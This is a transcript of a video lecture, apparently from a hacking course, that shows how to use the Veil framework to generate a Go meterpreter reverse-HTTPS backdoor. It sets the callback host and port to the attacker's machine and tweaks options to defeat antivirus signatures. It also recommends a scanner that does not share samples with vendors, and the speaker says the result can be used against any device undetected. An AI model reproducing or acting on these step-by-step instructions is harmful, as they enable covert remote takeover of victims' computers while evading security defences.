-: Okay, so in this video we're gonna be 2 2
using Veil to create a backdoor. 3 3
So the first thing I'm gonna do is 4 4
I'm gonna do list, 5 5
to list the available tools 6 6
and I'm gonna use number one 7 7
'cause we want to use evasion, 8 8
and then I'm gonna list my payloads, 9 9
and like I said in the previous lecture 10 10
I want to use go/meterpreter, reverse H-T-T-P-S, 11 11
so that's number 15. 12 12
So I'm gonna do use 15, 13 13
and that's gonna list the, 14 14
first of all it's gonna show me 15 15
information about this particular payload, 16 16
and then it'll show me the options that I can 17 17
set for this payload. 18 18
So the main option that you wanna set 19 19
and the most important one is the IP address. 20 20
So this is the IP address 21 21
which you're gonna be receiving the connections on. 22 22
As we said, we're gonna have a reverse connection 23 23
and we need to set the IP address 24 24
which the payload or the backdoor 25 25
will try to connect back to, 26 26
and in our case we want to receive 27 27
the connection back to this calimachine. 28 28
So we're gonna set the IP LHOST 29 29
to the IP address of the current calimachine. 30 30
Now to get the IP of my calimachine, 31 31
I have to run ifconfig. 32 32
So I'm gonna split the screen by doing 33 33
right + click and click on split horizontally, 34 34
and I'm just gonna bring this down a bit, 35 35
and we're gonna run ifconfig. 36 36
Now you can see the IP address in here is 37 37
10-20-14-213. 38 38
This is the IP of my calimachine, 39 39
this is the IP of the machine that 40 40
I'm using as the attacking machine. 41 41
So this is where I want the connection to come back to 42 42
so I can hack the target computer 43 43
once the backdoor is executed. 44 44
So, I'm gonna set 45 45
LHOST 46 46
to 10-20-14-213. 47 47
So you can set any of these options using the set command. 48 48
So all you have to do is write set 49 49
followed by the option that you want to change, 50 50
so in this case, we want to change the LHOST, 51 51
and we want to change that to 10-20-14-213. 52 52
Now, the LPORT is set to 80, which is really good 53 53
because that's the port that's used by web servers. 54 54
So as I said, the connection will look 55 55
as if the target person is connecting to a website 56 56
and it's not gonna be suspicious. 57 57
But I don't want to use that port because 58 58
I'll have a web server running on this 59 59
and we'll talk about that later. 60 60
So, I'm gonna change that to 8080. 61 61
8080 is another port that's used by web servers 62 62
so it's still not suspicious 63 63
and it should still bypass firewalls. 64 64
So, I'm just gonna do set, 65 65
same way that we did it before with the LHOST, 66 66
we're gonna do LPORT 67 67
to the value that we want to set this option to, 68 68
and we're gonna set it to 8080. 69 69
Now if I do options again 70 70
to list all the options, 71 71
you'll see that the LHOST changed to 10-20-14-213 72 72
and the LPORT changed to 8080. 73 73
Now, if you generate the backdoor like this, 74 74
you will bypass all antivirus programs except AVG. 75 75
I've already tried this, that's how I know this, 76 76
and that's not good enough because 77 77
we want to bypass everything. 78 78
Now, the way antivirus programs work 79 79
is they have a very large database of signatures. 80 80
These signatures correspond to files 81 81
that contain harmful code. 82 82
So what they do is they compare the signature 83 83
of your file, of your backdoor, 84 84
to all the files in this huge database. 85 85
If your file matches any of these files, 86 86
then they'll flag it as a virus or as malware. 87 87
If it doesn't, then they'll think that it's a normal file 88 88
and it's not malware. 89 89
So, the main point in here is we're gonna try 90 90
to modify the file, our backdoor, as much as possible 91 91
to make it more unique so that it bypasses 92 92
the signature database and we'll be able 93 93
to bypass antivirus programs. 94 94
Now as I said, Veil is already doing that for us, 95 95
it's encrypting the backdoor, it's orchestrating it, 96 96
it's injecting it in the memory 97 97
so that it doesn't get detected, 98 98
and it's doing a good job at it, 99 99
it's bypassing pretty much everything 100 100
except for only one antivirus program. 101 101
So just to bypass this last antivirus program, 102 102
I'm gonna set some optional options 103 103
that really won't do much of a difference, 104 104
they'll just make the backdoor look a bit different. 105 105
So the first thing that I'm gonna modify is PROCESSORS, 106 106
and that's the minimum number of processors 107 107
to be used by the backdoor. 108 108
I'm not gonna set a huge number 109 109
because that will just make my backdoor not work. 110 110
I'm just gonna set it to one, 111 111
which is pretty much nothing really, 112 112
but I'm just gonna set this option to make 113 113
the code look a bit different. 114 114
So I'm gonna do set, 115 115
again the same way that 116 116
we were setting the LPORT and the LHOST, 117 117
we're just gonna put the option name, 118 118
which is PROCESSORS 119 119
and we're gonna set that to number one. 120 120
And I'm also gonna set another option, 121 121
which is the SLEEP option, 122 122
and that basically lets the backdoor sleep 123 123
for a number of seconds that you set 124 124
before it executes the evil code that you have in there, 125 125
before it executes the payload. 126 126
So I'm gonna set this to six. 127 127
Again, no real reason for this, 128 128
I'm only doing this to make the backdoor 129 129
look a bit different. 130 130
So I'm gonna do set, SLEEP to six. 131 131
So I'm gonna hit enter and I'm gonna do options again 132 132
to make sure that all the options are set 133 133
the way I want them to be. 134 134
So I have 135 135
my IP address set properly, 136 136
I have my LPORT, I have my PROCESSORS, 137 137
and I have my SLEEP. 138 138
So I'm gonna generate the backdoor, 139 139
and now it's asking me to name this backdoor something. 140 140
So, I'm gonna name this backdoor 141 141
rev_https_8080 142 142
just so that we can remember which payload 143 143
and which port to use for this backdoor in the future. 144 144
Now the backdoor is generated 145 145
and you can see it's just telling us the module that's used 146 146
and it's telling us where the backdoor is stored. 147 147
So the backdoor is stored in this path right here, 148 148
so I'm gonna copy that. 149 149
Let's go ahead and check to see if the backdoor 150 150
is detected by any antivirus programs. 151 151
Now you can use the built-in feature by Veil 152 152
using the check VT command, 153 153
but this feature only uses the signature of the file 154 154
and it's not 100% accurate. 155 155
Sometimes it tells you that the file 156 156
will bypass all antiviruses, 157 157
but it will actually be detected. 158 158
You can also use VirusTotal, but I don't recommend that 159 159
and please don't do that because if you do that, 160 160
your backdoor will become less effective 161 161
because VirusTotal share the results 162 162
of their scans with antivirus programs. 163 163
What we're gonna do is we're gonna use 164 164
a website called NoDistribute. 165 165
So we're gonna go to it now. 166 166
So I'm just gonna google for NoDistribute, 167 167
and what this is gonna do, 168 168
it's similar to VirusTotal, 169 169
the only difference is it's not going to share 170 170
the scan results with antivirus programs, 171 171
so it won't affect your backdoor. 172 172
So I'm gonna click on Browse to navigate to my file 173 173
and I'm just gonna copy where the file is stored, 174 174
so Veil is telling me now, it's stored in this location 175 175
in usr/share/veil-output/compiled 176 176
so I'm gonna copy this 177 177
and I'm gonna come here, 178 178
I'm gonna click on the pen 179 179
and I'm gonna paste the location. 180 180
I'm gonna click on Open 181 181
and scan the file. 182 182
Now as you can see, I've already scanned this file 183 183
and it's telling me that this file has been scanned before, 184 184
so I'm just gonna click on View Previous Results, 185 185
and as you can see, the file is actually scanned 186 186
on the same day as today, which is the 29th of March, 2017, 187 187
and as you can see, the file is bypassing 188 188
all antivirus programs. 189 189
So, we can use this backdoor against any device 190 190
and we'll be sure that the device or the computer 191 191
will not be able to detect this file as a virus. 192 192
Now, there's a few things to keep in mind. 193 193
Antivirus programs always update their database 194 194
and Veil always updates their code as well, 195 195
so you want to always make Veil up-to-date. 196 196
Also, sometimes, with the same exact backdoor, 197 197
it might get detected and it might not get detected 198 198
because depending on the way the backdoor 199 199
is getting encrypted and is getting generated. 200 200
I've actually generated this backdoor before 201 201
with no SLEEP and as I said, 202 202
it got detected by one antivirus program. 203 203
I generated with 10 seconds and it still got detected, 204 204
and then with six, it was able to bypass it. 205 205
So you wanna keep playing around with the options, 206 206
you wanna keep playing around with the payloads 207 207
until you manage to achieve the best results 208 208
so that you can bypass as much antivirus programs 209 209
as possible.